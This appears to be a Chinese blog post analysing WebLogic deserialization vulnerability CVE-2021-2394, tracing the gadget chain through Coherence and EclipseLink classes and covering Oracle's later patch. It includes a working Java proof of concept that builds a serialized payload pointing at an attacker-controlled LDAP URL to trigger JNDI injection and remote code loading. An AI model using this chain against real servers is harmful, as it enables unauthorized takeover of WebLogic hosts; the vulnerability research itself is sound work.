Weblogic反序列化漏洞分析之CVE-2021-2394

目录

简介

前置知识

Serializable示例

Externalizable示例

联系weblogic

ExternalizableLite接口

ExternalizableHelperl类

JdbcRowSetImpl类

MethodAttributeAccessor类

AbstractExtractor类

FilterExtractor类

TopNAggregator$PartialResult类

SortedBag$WrapperComparator类

TreeMap类

AttributeHolder类

gadget测试

gadget分析

了解CVE-2021-2394的前世今生

1.为什么使用Externalizable进行反序列化?

2.为什么说这个漏洞其实是CVE-2020-14841与cve-2020-14756的结合体?

CVE-2021-2394的后续修复


本次应该是java最复杂的反序列化链了.......

简介

Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。

剧透一下:这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

前置知识

GPT回答

在 Java 中,如果一个类实现了 Serializable 接口,那么它可以被序列化和反序列化。Serializable 接口是一个标记接口,没有任何方法需要实现。通过将类标记为 Serializable,您告诉 Java 运行时环境,该类的对象可以以字节流的形式进行序列化和反序列化。

当一个类实现了 Serializable 接口时,它表示该类的对象可以被转换成字节序列,并且可以在网络上传输或者存储到文件中,而不会丢失其状态和数据。这在分布式系统、持久化存储和远程通信等场景中非常有用。

当您将一个对象序列化时,Java 运行时环境将对象的状态转换为字节流。然后,您可以将字节流保存到文件中或通过网络传输。当您想要恢复对象时,可以通过反序列化操作将字节流转换回对象的状态。

在webweblogic中,如果一个类要想序列化和反序列化 它可以implements 这两个接口

区 别SerializableExternalizable
实现复杂度实现简单,Java对其有内建支持实现复杂,由开发人员自己完成
执行效率所有对象由Java统一保存,性能较低开发人员决定哪个对象保存,可能造成速度提升
保存信息保存时占用空间大部分存储,可能造成空间减少
Serializable示例

假设您有一个名为 Person 的 Java 类,它实现了 Serializable 接口,如下所示:

​
import java.io.*;
​
public class Person2 implements Serializable {
​
    private String name;
    private int age;
​
    public Person2(String name, int age) {
        this.name = name;
        this.age = age;
    }
​
    // 其他方法和属性省略
​
    public static void main(String[] args) throws ClassNotFoundException {
        Person2 person = new Person2("Alice", 25);
​
        try {
            // 将 Person 对象序列化到文件中
            FileOutputStream fos = new FileOutputStream("person.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(person);
            oos.close();
​
            // 从文件中反序列化出一个新的 Person 对象
            FileInputStream fis = new FileInputStream("person.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            Person2 deserializedPerson = (Person2) ois.readObject();
            ois.close();
​
            // 打印结果
            System.out.println("Original Person: " + person);
            System.out.println("Deserialized Person: " + deserializedPerson);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

输出结果

Original Person: test5.Person2@1a4013 Deserialized Person: test5.Person2@6cd28fa7

Externalizable示例

以下是一个完整的示例,包括 Person 类的实现以及一个测试主函数:

import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
​
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
​
public class Person implements ExternalizableLite {
​
    private String name;
    private int age;
​
    public Person() {
        // 必须提供默认构造函数
    }
​
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
​
    // 实现接口方法 - 从流中读取对象数据
    @Override
    public void readExternal(DataInput in) throws IOException {
        // 读取 name 和 age 的值
        name = in.readUTF();
        age = in.readInt();
    }
​
    // 实现接口方法 - 将对象数据写入流中
    @Override
    public void writeExternal(DataOutput out) throws IOException {
        // 写入 name 和 age 的值
        out.writeUTF(name);
        out.writeInt(age);
    }
​
    // 其他方法和属性省略
​
    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
​
    public static void main(String[] args) {
        // 创建一个 Person 对象
        Person person1 = new Person("Alice", 25);
​
        try {
            // 将 Person 对象序列化到文件中
            FileOutputStream fos = new FileOutputStream("person.dat");
            DataOutputStream dos = new DataOutputStream(fos);
            person1.writeExternal(dos);
            dos.close();
​
            // 从文件中反序列化出一个新的 Person 对象
            FileInputStream fis = new FileInputStream("person.dat");
            DataInputStream dis = new DataInputStream(fis);
            Person person2 = new Person();
            person2.readExternal(dis);
            dis.close();
​
            // 打印结果
            System.out.println("Original Person: " + person1);
            System.out.println("Deserialized Person: " + person2);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

运行结果

Original Person: Person{name='Alice', age=25} Deserialized Person: Person{name='Alice', age=25}

联系weblogic
ExternalizableLite接口

在weblogic中ExternalizableLite接口位于package com.tangosol.io;

package com.tangosol.io;
public interface ExternalizableLite extends Serializable {
    void readExternal(DataInput var1) throws IOException;
    void writeExternal(DataOutput var1) throws IOException;
}

ExternalizableLite继承了java.io.Serializable, 另外声明了 readExternalwriteExternal 这两个方法。

ExternalizableHelperl类

现在引入一个类ExternalizableHelper (抽象类)

package com.tangosol.util;
public abstract class ExternalizableHelper extends BitHelper {
...
    public static <T> T readObject(DataInput in) throws IOException {
        return readObject(in, (ClassLoader)null);
    }
​
    public static <T> T readObject(DataInput in, ClassLoader loader) throws IOException {
        if (in instanceof PofInputStream) {
            return ((PofInputStream)in).readObject();
        } else {
            Object o = readObjectInternal(in, in.readUnsignedByte(), loader);
            return realize(o, ensureSerializer(loader));
        }
    }
...
​
}

可以看出这个类重写了readObject 方法,是一个静态方法,传入的是DataInput -----是要从流中读取对象数据返回Object吗?

它去调用readObjectInternal 追进去

private static Object readObjectInternal(DataInput in, int nType, ClassLoader loader) throws IOException {
    switch(nType) {
    case 0:
        return null;
    case 1:
        return readInt(in);
    case 2:
        return readLong(in);
    case 3:
        return new Double(in.readDouble());
    case 4:
        return readBigInteger(in);
    case 5:
        return readBigDecimal(in);
    case 6:
        return readUTF(in);
    case 7:
        Binary bin = new Binary();
        bin.readExternal(in);
        return bin;
    case 8:
        return readByteArray(in);
    case 9:
        return readXmlSerializable(in, loader);
    case 10:
        return readExternalizableLite(in, loader);//就是这个方法
    case 11:
        return readSerializable(in, loader);
    case 12:
        return readXmlBean(in, loader);
    case 14:
        return new Float(in.readFloat());
    case 15:
        return new Short(in.readShort());
    case 16:
        return new Byte(in.readByte());
    case 17:
        return in.readBoolean() ? Boolean.TRUE : Boolean.FALSE;
    case 22:
        return in.readBoolean() ? Optional.of(readObject(in)) : Optional.empty();
    case 23:
        return in.readBoolean() ? OptionalInt.of(readInt(in)) : OptionalInt.empty();
    case 24:
        return in.readBoolean() ? OptionalLong.of(readLong(in)) : OptionalLong.empty();
    case 25:
        return in.readBoolean() ? OptionalDouble.of(in.readDouble()) : OptionalDouble.empty();
    case 255:
        return readSerializable(in, loader);
    default:
        throw new StreamCorruptedException("invalid type: " + nType);
    }
}

这里要说一下 nType大致是还原的类型,对于case语句来说 会根据要还原类的类型,选择对应的方法进行解析

而实现了com.tangosol.io.ExternalizableLite 接口的对象则会进入readExternalizableLite 方法:

public static ExternalizableLite readExternalizableLite(DataInput in, ClassLoader loader) throws IOException {
    ExternalizableLite value;
    if (in instanceof PofInputStream) {
        value = (ExternalizableLite)((PofInputStream)in).readObject();
    } else {
        String sClass = readUTF((DataInput)in);
        WrapperDataInputStream inWrapper = in instanceof WrapperDataInputStream ? (WrapperDataInputStream)in : null;
​
        try {
            value = (ExternalizableLite)loadClass(sClass, loader, inWrapper == null ? null : inWrapper.getClassLoader()).newInstance();//重点分析
        } catch (InstantiationException var6) {
            throw new IOException("Unable to instantiate an instance of class '" + sClass + "'; this is most likely due to a missing public no-args constructor: " + var6 + "\n" + getStackTrace(var6) + "\nClass: " + sClass + "\nClassLoader: " + loader + "\nContextClassLoader: " + getContextClassLoader());
        } catch (Exception var7) {
            throw new IOException("Class initialization failed: " + var7 + "\n" + getStackTrace(var7) + "\nClass: " + sClass + "\nClassLoader: " + loader + "\nContextClassLoader: " + getContextClassLoader());
        }
​
        if (loader != null) {
            if (inWrapper == null) {
                in = new WrapperDataInputStream((DataInput)in, loader);
            } else if (loader != inWrapper.getClassLoader()) {
                inWrapper.setClassLoader(loader);
            }
        }
​
        value.readExternal((DataInput)in);//重点分析
        if (value instanceof SerializerAware) {
            ((SerializerAware)value).setContextSerializer(ensureSerializer(loader));
        }
    }
​
    return value;
}

readExternalizableLite 方法中,会根据类名加载类,然后并且实例化出这个类的对象,然后调用它的 readExternal() 方法

至此这段代码的逻辑是非常像Externalizable示例代码的

        // 从文件中反序列化出一个新的 Person 对象
        FileInputStream fis = new FileInputStream("person.dat");
        DataInputStream dis = new DataInputStream(fis);
        Person person2 = new Person();
        person2.readExternal(dis);
        dis.close();

小总结 继承Externalizable接口的对象且是实现了readExternal方法的 可以用ExternalizableHelper 中的静态方法readObject 实现反序列化的逻辑

大致这个样子

    FileInputStream fis = new FileInputStream("person.dat");
    DataInputStream dis = new DataInputStream(fis);
    Person person2 = null;
    //无需new 因为底层ExternalizableLite 会根据类反射 实例化对象
    person2 = ExternalizableHelper.readObject ()  

测试代码

package test4;

import com.tangosol.io.ExternalizableLite;

import com.tangosol.util.ExternalizableHelper;

import java.io.*;

public class Person implements ExternalizableLite {

    private String name;
    private int age;

    public Person() {
        // 必须提供默认构造函数
    }

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // 实现接口方法 - 从流中读取对象数据
    @Override
    public void readExternal(DataInput in) throws IOException {
        // 读取 name 和 age 的值
        name = in.readUTF();
        age = in.readInt();
    }

    // 实现接口方法 - 将对象数据写入流中
    @Override
    public void writeExternal(DataOutput out) throws IOException {
        // 写入 name 和 age 的值
        out.writeUTF(name);
        out.writeInt(age);
    }

    // 其他方法和属性省略

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public static void main(String[] args) {
        // 创建一个 Person 对象
        Person person1 = new Person("Alice", 25);

        try {
            // 将 Person 对象序列化到文件中
            FileOutputStream fos = new FileOutputStream("person.dat");
            DataOutputStream dos = new DataOutputStream(fos);
            ExternalizableHelper.writeObject(dos,person1);


            FileInputStream fis = new FileInputStream("person.dat");
            DataInputStream dis = new DataInputStream(fis);
            Person person2 = ExternalizableHelper.readObject(dis);

            // 打印结果
            System.out.println("Original Person: " + person1);
            System.out.println("Deserialized Person: " + person2);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

测试输出

Original Person: Person{name='Alice', age=25} Deserialized Person: Person{name='Alice', age=25}

正常调用链分析在xlsx文中.......

JdbcRowSetImpl类
public class JdbcRowSetImpl extends BaseRowSet implements JdbcRowSet, Joinable {
    private Connection conn;
    private PreparedStatement ps;
    private ResultSet rs;
    private RowSetMetaDataImpl rowsMD;
    private ResultSetMetaData resMD;
    private Vector<Integer> iMatchColumns;
    private Vector<String> strMatchColumns;
    protected transient JdbcRowSetResourceBundle resBundle;
    static final long serialVersionUID = -3591946023893483003L;
...
    public DatabaseMetaData getDatabaseMetaData() throws SQLException {
        Connection var1 = this.connect();
        return var1.getMetaData();
    }
...

getDatabaseMetaData方法会调用this.connect

private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());//重点分析
            return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
    }
}

this.connect则调用了InitialContext#lookup,如果this.getDataSourceName()为恶意uri,则可以产生JNDI注入

MethodAttributeAccessor类
public class MethodAttributeAccessor extends AttributeAccessor {
    protected String setMethodName = "";
    protected String getMethodName;
    protected transient Method setMethod;
    protected transient Method getMethod;
...
public Object getAttributeValueFromObject(Object anObject) throws DescriptorException {
    return this.getAttributeValueFromObject(anObject, (Object[])null);
}

protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException {
    try {
        if (PrivilegedAccessHelper.shouldUsePrivilegedAccess()) {
            try {
                return AccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters));
            } catch (PrivilegedActionException var5) {
                Exception throwableException = var5.getException();
                if (throwableException instanceof IllegalAccessException) {
                    throw DescriptorException.illegalAccessWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
                } else {
                    throw DescriptorException.targetInvocationWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
                }
            }
        } else {
            return this.getMethod.invoke(anObject, parameters);//重点分析
        }
    } catch (IllegalArgumentException var6) {
        throw DescriptorException.illegalArgumentWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), var6);
    } catch (IllegalAccessException var7) {
        throw DescriptorException.illegalAccessWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), var7);
    } catch (InvocationTargetException var8) {
        throw DescriptorException.targetInvocationWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), var8);
    } catch (NullPointerException var9) {
        throw DescriptorException.nullPointerWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), var9);
    }
}
...
  protected void setGetMethod(Method getMethod) {
        this.getMethod = getMethod;
    }
}

getAttributeValueFromObject方法中,可以调用invoke来执行任意方法,前提是三个参数可控getMethod、anObject、parameters。其中protected可以通过反射无视,getMethod 可以通过调用setGetMethod 设置

AbstractExtractor类
public abstract class AbstractExtractor<T, E> extends ExternalizableHelper implements ValueExtractor<T, E>, QueryMapComparator, Serializable {
    public static final int VALUE = 0;
    public static final int KEY = 1;
    protected int m_nTarget;
...
    public E extract(T oTarget) {
        if (oTarget == null) {
            return null;
        } else {
            throw new UnsupportedOperationException();
        }
    }
...
    public int compare(Object o1, Object o2) {
        return SafeComparator.compareSafe((Comparator)null, this.extract(o1), this.extract(o2));
    }
...
    public abstract Object getAttributeValueFromObject(Object var1) throws DescriptorException;//抽象方法
...
}

此类的compare方法会调用this.extract

FilterExtractor类
public class FilterExtractor extends AbstractExtractor implements ExternalizableLite, PortableObject, EclipseLinkExtractor {
    //它实现了ExternalizableLite接口,并且父类是AbstractExtractor
    protected static final Class reflectionExtractor = ReflectionExtractor.class;
    protected AttributeAccessor attributeAccessor;//AttributeAccessor对象属性
...
    public Object extract(Object obj) {
        if (obj instanceof Wrapper) {
            obj = ((Wrapper)obj).unwrap();
        }

        if (!this.attributeAccessor.isInitialized()) {
            this.attributeAccessor.initializeAttributes(obj.getClass());
        }

        try {
            return this.attributeAccessor.getAttributeValueFromObject(obj);//重点分析 
            //调用了attributeAccessor(实现了抽象方法getAttributeValueFromObject)
        } catch (Exception var3) {
            return new FilterExtractor.InvalidObject();
        }
    }
...
    //因为implements ExternalizableLite 所以实现了这两个方法
    public void readExternal(DataInput in) throws IOException {
        this.attributeAccessor = SerializationHelper.readAttributeAccessor(in);
    	//这里调用了SerializationHelper的readAttributeAccessor方法
    	//下面补充readAttributeAccessor方法 可以发现调用了ExternalizableHelper.readObject(in)--如此可以序列化
    /*
        public static AttributeAccessor readAttributeAccessor(DataInput in) throws IOException {
        int id = ExternalizableHelper.readInt(in);
        if (id == 0) {
            InstanceVariableAttributeAccessorExtended accessor = new InstanceVariableAttributeAccessorExtended();
            accessor.setAttributeName((String)ExternalizableHelper.readObject(in));
            return accessor;
        } else if (id == 1) {
            MethodAttributeAccessor accessor = new MethodAttributeAccessor();//重点分析
            //new了一个MethodAttributeAccessor对象 剧透一下 这里是绕过补丁的关键
            //前面说了MethodAttributeAccessor有任意函数反射调用的可能
            accessor.setAttributeName((String)ExternalizableHelper.readObject(in));
            accessor.setGetMethodName((String)ExternalizableHelper.readObject(in));
            accessor.setSetMethodName((String)ExternalizableHelper.readObject(in));
            return accessor;
        } else {
            return null;
        }
    }*/
    }

    public void writeExternal(DataOutput out) throws IOException {
        SerializationHelper.writeAttributeAccessor(out, this.attributeAccessor);
    }
...
}
TopNAggregator$PartialResult类
SortedBag$WrapperComparator类
package com.tangosol.util.aggregator;
public class TopNAggregator<K, V, T, E> implements StreamingAggregator<K, V, TopNAggregator.PartialResult<E>, E[]>, ExternalizableLite, PortableObject {
    protected boolean m_fParallel;
    protected ValueExtractor<? super T, ? extends E> m_extractor;
    protected Comparator<? super E> m_comparator;
    protected int m_cResults;
    private transient boolean m_fInit;
    private transient TopNAggregator.PartialResult<E> m_result;
...
    //这个类 implements 了ExternalizableLite接口,也是实现了readExternal相关方法
    public void readExternal(DataInput in) throws IOException {
        this.m_fParallel = in.readBoolean();
        this.m_extractor = (ValueExtractor)ExternalizableHelper.readObject(in);
        this.m_comparator = (Comparator)ExternalizableHelper.readObject(in);
        this.m_cResults = in.readInt();
    }
    TopNAggregator$PartialResult是一个静态内部类,也实现了ExternalizableLite接口,里面有个readExternal方法
    public static class PartialResult<E> extends SortedBag<E> implements ExternalizableLite, PortableObject {
        protected int m_cMaxSize;
    ...
        public boolean add(E value) { //add方法看到调用了父类的add
            if (this.size() < this.m_cMaxSize) {
                return super.add(value);
            } else if (this.m_comparator.compare(value, this.first()) > 0) {
                this.removeFirst();
                super.add(value);
                return true;
            } else {
                return false;
            }
        }
        /*进其父类SortedBag类的add
    	public boolean add(E o) {
        NavigableMap map = this.getInternalMap();
                   /*protected NavigableMap getInternalMap() {//getInternalMap方法是实现
                        return this.m_map;
                    }*/
        while(!Base.equals(o, this.unwrap(map.ceilingKey(o)))) {
            if (map.put(o, NO_VALUE) == null) {
                return true;
            }//在父类add方法中,调用了map.put,而这里的map就是上面的TreeMap对象
        }
        */
    ...
        public void readExternal(DataInput in) throws IOException {
            this.m_comparator = (Comparator)ExternalizableHelper.readObject(in);
        	//遍历还原了m_comparator
            this.m_cMaxSize = ExternalizableHelper.readInt(in);
            this.m_map = this.instantiateInternalMap(this.m_comparator);
        	/*调用了instantiateInternalMap方法并且传入了还原的m_comparator,跟进instantiateInternalMap
        	...
        	最终的把TreeMap对象赋值给了this.m_map  m_map是父类SortedBag中属性
        	*/
            int cElems = in.readInt();

            for(int i = 0; i < cElems; ++i) {
                this.add(ExternalizableHelper.readObject(in));
            }

        }
    ...
    protected NavigableMap instantiateInternalMap(Comparator comparator) {
        return new TreeMap(new SortedBag.WrapperComparator(comparator));
        //这里首先new了一个SortedBag.WrapperComparator,传入comparator,跟进WrapperComparator  
        //之后把new出来的SortedBag.WrapperComparator对象传入了TreeMap构造方法,跟进TreeMap构造方法
        /*
public class TreeMap<K,V>
    extends AbstractMap<K,V>
    implements NavigableMap<K,V>, Cloneable, java.io.Serializable
{
	private final Comparator<? super K> comparator;
	...
    public TreeMap(Comparator<? super K> comparator) {
        this.comparator = comparator;
    }
    ...
}
//在TreeMap构造方法只是对comparator的一个赋值,把刚刚的SortedBag.WrapperComparator对象传递给了this.comparator
        */

        
    }
    protected class WrapperComparator implements Comparator {
        protected final Comparator f_comparator;//内部类属性

        public WrapperComparator(Comparator comparator) {
             this.f_comparator = comparator;//可以看到把comparator的值赋予给了this.f_comparator
           }
        public int compare(Object o1, Object o2) {//可被TreeMap类compare调用
            if (o1 instanceof SortedBag.UniqueElement) {
                return ((SortedBag.UniqueElement)o1).compareTo(o2);
            } else {
                return o2 instanceof SortedBag.UniqueElement ? -((SortedBag.UniqueElement)o2).compareTo(o1) : this.f_comparator.compare(o1, o2);
       //此类的compare方法会调用this.f_comparator.compare
            }
        }
	  ...
      }

...
TreeMap类
public class TreeMap<K,V>
    extends AbstractMap<K,V>
    implements NavigableMap<K,V>, Cloneable, java.io.Serializable
{
    private final Comparator<? super K> comparator;
...
    public V put(K key, V value) {
        Entry<K,V> t = root;
        if (t == null) {
            compare(key, key); // type (and possibly null) check

            root = new Entry<>(key, value, null);
            size = 1;
            modCount++;
            return null;
        }
 		...
    }
    ...
    final int compare(Object k1, Object k2) {
        return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2)
            : comparator.compare((K)k1, (K)k2);
    }
    ...
...
}

TreeMap类中,其put方法会调用compare

compare中调用了comparator.compare,此处的comparator是在上个内部类中赋予的值SortedBag.WrapperComparator类(里面有一个Comparator f_comparator属性)

AttributeHolder类
package com.tangosol.coherence.servlet;
public class AttributeHolder extends Base implements Externalizable {
    ...
    public void readExternal(DataInput in) throws IOException {
        this.m_sName = ExternalizableHelper.readUTF(in);
        this.m_oValue = ExternalizableHelper.readObject(in);//调用ExternalizableHelper.readObject实现反序列化读取数据
        this.m_fActivationListener = in.readBoolean();
        this.m_fBindingListener = in.readBoolean();
        this.m_fLocal = in.readBoolean();
    }
    ...
    public void readExternal(ObjectInput in) throws IOException {
        this.readExternal((DataInput)in);
    }
    ...
}

gadget测试

import com.sun.rowset.JdbcRowSetImpl;
import com.supeream.serial.Serializables;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws Exception {
        String ldapurl="ldap://192.168.202.1:1389/2rp7lc";

        MethodAttributeAccessor accessor = new MethodAttributeAccessor();
        accessor.setAttributeName("yangyang");
        accessor.setGetMethodName("connect");
        accessor.setSetMethodName("setConnection");

        Constructor<JdbcRowSetImpl> DeclaredConstructor = JdbcRowSetImpl.class.getDeclaredConstructor();
        DeclaredConstructor.setAccessible(true);
        JdbcRowSetImpl jdbcRowSet = DeclaredConstructor.newInstance();

        jdbcRowSet.setDataSourceName(ldapurl);

        FilterExtractor extractor = new FilterExtractor(accessor);
        FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor());

        SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
        sortedBag.add(jdbcRowSet);

        Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(sortedBag, extractor);

        AttributeHolder attributeHolder = new AttributeHolder();

        Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
        setInternalValue.setAccessible(true);
        setInternalValue.invoke(attributeHolder, sortedBag);

        //serial
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
        objectOutputStream.writeObject(attributeHolder);
        objectOutputStream.close();

        //unserial
        ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
        objectIntputStream.readObject();
        objectIntputStream.close();
    }
    public static class TLSAttributeAccessor extends AttributeAccessor {

        public Object getAttributeValueFromObject(Object o) throws DescriptorException {
            return this.attributeName;
        }

        public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
            this.attributeName = "yangyang";
        }
    }
}

ldap成功收到请求这表明已经通过反序列的方式将ladpurl打入lookup方法中

参考weblogic漏洞分析之CVE-2021-2394 - Atomovo - 博客园 (cnblogs.com)

gadget分析

【技术分享】Weblogic CVE-2021-2394 反序列化漏洞分析 (qq.com)

在readobject上打上断点

进入objectinputstream类

继续跟进

在readobject0方法中调用了checkResolve方法

继续跟进readOrdinaryObject

在这个方法中 读取输入流的类 ,并实例化。这个类就是attributeHolder了

检查目标类 是否Externalizable 若是进入if条件中,调用readExternalData方法

在readExternalData方法,调用了对象的readExternal方法,这正是我们所分析的入口了

进入AttributeHolder类的readExternal

继续跟进 来到ExternalizableHelper的readobject方法 ,参数任然是我们的输入流

跟进 ,如下的调试就是Externalizable 反序列化的标准流程

implements ExternalizableLite 的类 in.readUnsignedByte读取的值为10

nRype为10 进入readExternalizableLite方法

这个方法中 会载入输入流的类 并对其实例化

随后 调用实例化对象的readExternal方法。 Externalizable 反序列化的标准流程。为了之后的调试的简略 这里省略readExternal的流程

顺便一说 实例化的value是TopNAggregator的内部类PartialResult对象

进入TopNAggregator类对象的readExternal 方法

这个类的方法就很关键了,一共有3次调用链。

先分析第一次调用链170行

这里就省略了 相关helper方法 因为之前已经调过了 在此跳过。这里value是FiterExtractor对象

对FiterExtractor对象的成员属性attributeAccessor进行还原

这里 new 一个 MethodAttributeAccessor 对象 还原相关成员属性 string类型,返回。可以见的FiterExtractor对象的成员属性attributeAccessor存的是一个MethodAttributeAccessor对象 名字为accessor 里面的有我们可控的参数。

这条就走完了,可以看到TopNAggregator类对象的m_comparetor成员存储的是FiterExtractor对象 其内部成员属性attributeAccessor对象之中的MethodAttributeAccessor对象中的成员属性getMethodName,attributeName(父类继承下的),都是我们可控的变量

再分析第二次调用链172行

SortedBag类为TopNAggregator的父类,这个方法instantiateInternalMap没有被重写,因此跳到父类的instantiateInternalMap方法。

我们传的参数是上一条链所获得的m_comparetor成员, 继续跟进去看看它会调用那些方法!

Treemap构造方法是给成员属性赋值的

看一看是如何构造comparetor的,它把之前得到的成员m_comparetor(FiterExtractor对象)传参进去了

可以见的Treemap的成员属性comparator存的WrapperComparator对象,它之中的f_comparator成员属性就是之前得到的FiterExtractor对象, 别忘了 FiterExtractor对象之中有我们可控的属性。

最终赋值成员变量m_map,请注意这个成员 待会非常的关键。

最后第三次调用链176行

注意:这次输入流读取的类是JdbcRowSetImpl

先调用本类的add方法

在调用父类add方法,这里将进入map.put方法,

在此之前 先分析下它所得到的map对象

en.... 这个map对象就是之前我们所得到的m_map对象(本质是Treemap 里面包裹了我们可控的类属性)

看一看put中又调用了那些方法,这个key是函数调用依次传下来的 为JdbcRowSetImpl对象

跟进compare对象

Treemap类中的comparator是我们之前new Treemap 构造方法赋的值 ,为WrapperComparator 对象,它有一个成员属性f_comparator ,我们已经赋值FiterExtractor对象。

进入WrapperComparator 的compare方法

在221行它调用了成员f_comparator的compare方法,别忘了f_comparator 就是为FiterExtractor对象

进入FilterExtractor 对象的compare方法,注:FilterExtractor extends AbstractExtractor

进入this.extract,由于这个方法被子类FilterExtractor 类继承重写了,因此 它会调到子类的extract方法

filterExtrator 为返序列化得来的其成员属性attributeAccessor为我们可控变量,我们让他为MethodAttributeAccessor对象

由此进入MethodAttributeAccessor对象的getAttributeValueFromObject方法

跟进调用,注意传参为JdbcRowSetImpl对象

注意了 MethodAttributeAccessor对象中的getMethod是一个Method对象,其标识符为transient不可被序列化,但是得益于它内部的处理逻辑,他会依据成员属性string类型GetMethodName 调用reflectionFactory实例化一个Method对象。

这里我们给GetMethodName 设置的值为connect ,getMethod为java.sql.Connection

根据反射机制我们来到JdbcRowSetImpl对象的connect方法

其中datasourcename 就是我们的可控参数 ldapurl

调用lookup触发 JNDI 注入 远程加载恶意类 弹出计算机

更多调用链在xlsx文中.......

了解CVE-2021-2394的前世今生

1.为什么使用Externalizable进行反序列化?

因为在weblogic中某些类继承自Externalizable接口,在反序列化的时候默认会调用readExternal方法。在该方法中没有使用weblogic提供的带有黑名单过滤功能的FilterInputStream去还原类。而是使用了没有黑名单过滤的ObjectInputStream去还原对象。造成黑名单根本就没用上,例如CVE-2020-2551 就是这种情况。

通过上面的的入口调试我们确实发现没有FilterInputStream类的出现

2.为什么说这个漏洞其实是CVE-2020-14841与cve-2020-14756的结合体?

在cve-2020-14841中最为关键的两个类目前已经加入黑名单套餐(LockVersionExtractor类)(MethodAttributeAccessor类)

其中LockVersionExtractor可以使用FilterExtractor代替。对比源码验验货

首先:TopNAggregator类对象的父类m_comparetor成员(数据类型Comparator)存储的是FiterExtractor对象 之后在进入WrapperComparator 的compare方法时调用(可以是父类)compare方法再调用自己的extract方法

----FilterExtractor extends AbstractExtractor 而 AbstractExtractor 实现了Comparator接口

那么对比一下LockVersionExtractor类,

这里就不分析其他调用链是什么调用到LockVersionExtractor中extract方法,给一个调用链参考

CVE-2020-14825的调用链如下:

分析完这两个类的入 在分析这两个类的出

FilterExtractor类如下

它是由extract调用而来

如果是FilterExtractor,这里的attributeAccessor 是 我们给它设置为MethodAttributeAccessor对象,后面将调用JdbcRowSetlmpl的Connection 方法

LockVersionExtractor类如下

它也是extract调用而来

其中protected AttributeAccessor accessor; 我们也给它设置为MethodAttributeAccessor对象


那么MethodAttributeAccessor如何代替。

如果没对象可以替代 那么我们尝试第二种方式,ExternalizableLite的方法反序列化进去绕过FilterInputStream类

巧合的是,FilterExtractor中,正好是通过ExternalizableLite的方式(readExternal)还原内部成员AttributeAccessor的属性

readAttributeAccessor的方法恰好是重写自接口的方法。在方法中它new 一个MethodAttributeAccessor 之后用ExternalizbleHelper的readject方法还原内部成员属性

下面展示具体细节

它去new了一个MethodAttributeAccessor 且通过ExternalizableHelper.readobject(in) 来传递我们可控的变量

CVE-2021-2394的后续修复

CVE-2021-2394:Oralce7月补丁日二次序列化漏洞分析-安全客 - 安全资讯平台

1.增加了两个黑名单package

"oracle.eclipselink.coherence.integrated.internal.querying"
"oracle.eclipselink.coherence.integrated.inter“

2是基于iiopinputstream进行修复

修复前

修复后

  • 18
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
